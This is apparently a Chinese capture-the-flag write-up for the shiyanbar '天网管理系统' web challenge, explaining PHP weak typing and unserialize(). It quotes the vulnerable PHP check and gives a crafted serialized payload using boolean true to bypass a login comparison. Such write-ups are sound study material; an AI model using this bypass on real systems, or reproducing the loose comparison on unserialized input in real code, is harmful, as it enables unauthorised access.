天网管理系统(反序列化问题)

http://www.shiyanbar.com/ctf/1810
天网管理系统
天网你敢来挑战嘛
格式:ctf{ }
解题链接: http://ctf5.shiyanbar.com/10/web1/




查看源码如下:



最安全的管理系统


天网管理系统

安全与你同在

账户:admin  密码:admin

就是这么光明正大的放置用户名和密码,爸爸说我们再也不会忘记密码啦。

大家请放心使用我们的产品。
用户名:
密码:

解:

考点:  PHP弱类型

看到注释里面有一个提示,当传入的username值经md5加密后等于0,就会返回某样东西。

天网管理系统(反序列化问题)_第1张图片

访问这个页面得到:

$unserialize_str = $_POST['password'];
     $data_unserialize = unserialize($unserialize_str);
     if($data_unserialize['user'] == '???' && $data_unserialize['pass']=='???')
     {
       print_r($flag);
     }
伟大的科学家php方言道:成也布尔,败也布尔。

回去吧骚年。

查手册:
unserialize() 对单一的已序列化的变量进行操作,将其转换回反序列化 PHP 的值。
返回的是转换之后的值,可为 integer、float、string、array 或 object。
如果传递的字符串不可解序列化,则返回 FALSE,并产生一个 E_NOTICE。

查定义:
序列化与反序列化:
把复杂的数据类型压缩到一个字符串中
serialize() 把变量和它们的值编码成文本形式
unserialize() 恢复原先变量

实践序列化的格式:
1,"pass"=>1);
echo var_dump($test);
echo var_dump(serialize($test));

$test1='';
$test1=array("user"=>true,"pass"=>true);
echo var_dump($test1);
echo var_dump(serialize($test1));
?>
天网管理系统(反序列化问题)_第2张图片

(a代表array,s代表string,b代表bool,而数字代表个数/长度)


解题:
1.我们需要构造序列化的password填入,代码意思是把post提交的password值经过"反序列化"得到一个数组,
要求数组里的user和pass都等于某个值时就打印flag
2.加上代码提示布尔。
3.bool类型的true跟任意字符串可以弱类型相等。因此我们可以构造bool类型的序列化数据 ,无论比较的值是什么,结果都为true。
4.构造password: a:2:{s:4:"user";b:1;s:4:"pass";b:1;}

天网管理系统(反序列化问题)_第3张图片




你可能感兴趣的:(天网管理系统(反序列化问题))